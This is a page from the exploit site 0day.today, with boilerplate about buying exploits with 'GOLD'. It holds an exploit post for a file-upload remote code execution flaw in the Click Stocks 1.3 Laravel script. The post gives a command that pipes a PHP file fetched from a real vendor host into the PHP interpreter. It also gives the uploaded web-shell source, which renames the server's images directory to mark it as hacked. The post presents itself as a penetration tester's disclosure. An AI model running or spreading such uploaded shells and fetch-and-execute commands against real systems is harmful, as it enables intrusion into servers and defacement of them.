0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Click Stocks 1.3 - File Upload Remote Code Execution Vulnerability
## Title: Click Stocks-1.3 - File Upload - RCE ## Author: nu11secur1ty ## Vendor: https://codecanyon.net/user/media-city ## Software: https://codecanyon.net/item/click-stocks-free-stock-photos-laravel-script/23356416 ## Reference: https://portswigger.net/web-security/file-upload, https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload ## Description: The class parameter btn-btn-danger-js-labelFile is vulnerable to File Upload and RCE attacks, it is not sanitized correctly. The attacker can upload a virus directly on the server by using this web vulnerability, and then he can execute it, this can be the end of this server depending on the scenario! In this case, I just renamed the directory images =) I am a Penetration Tester, not a stupid cracker! Thank you all! STATUS: HIGH-CRITICAL Vulnerability [+]Exploit execution: ```curl curl -s https://mediacity.co.in/clickstocks/public/images/rapist.php | php ``` [+]Exploit source: ```PHP <?php // rapist by nu11secur1ty - 2023 // Old Name Of The file $old_name = "/public/images" ; // New Name For The File $new_name = "/public/imagesHACKED/" ; // using rename() function to rename the file rename( $old_name, $new_name) ; ?> ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/media-city/Click-Stocks-1.3) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/11/click-stocks-13-file-upload-rce.html) ## Time spend: 00:35:00 # 0day.today [2024-11-15] #